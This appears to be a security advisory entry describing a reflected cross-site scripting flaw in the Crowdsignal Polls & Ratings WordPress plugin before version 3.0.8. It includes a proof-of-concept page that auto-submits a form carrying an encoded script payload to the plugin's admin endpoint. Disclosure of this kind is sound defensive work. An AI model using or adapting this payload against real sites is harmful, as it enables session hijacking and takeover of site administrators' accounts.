WordPress Plugin Vulnerabilities

Crowdsignal Polls & Ratings < 3.0.8 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=feedback&page=polls&action=edit" id="hack" method="POST">
      <input type="hidden" name="mediaType&#91;999999999&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;/XSS/&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>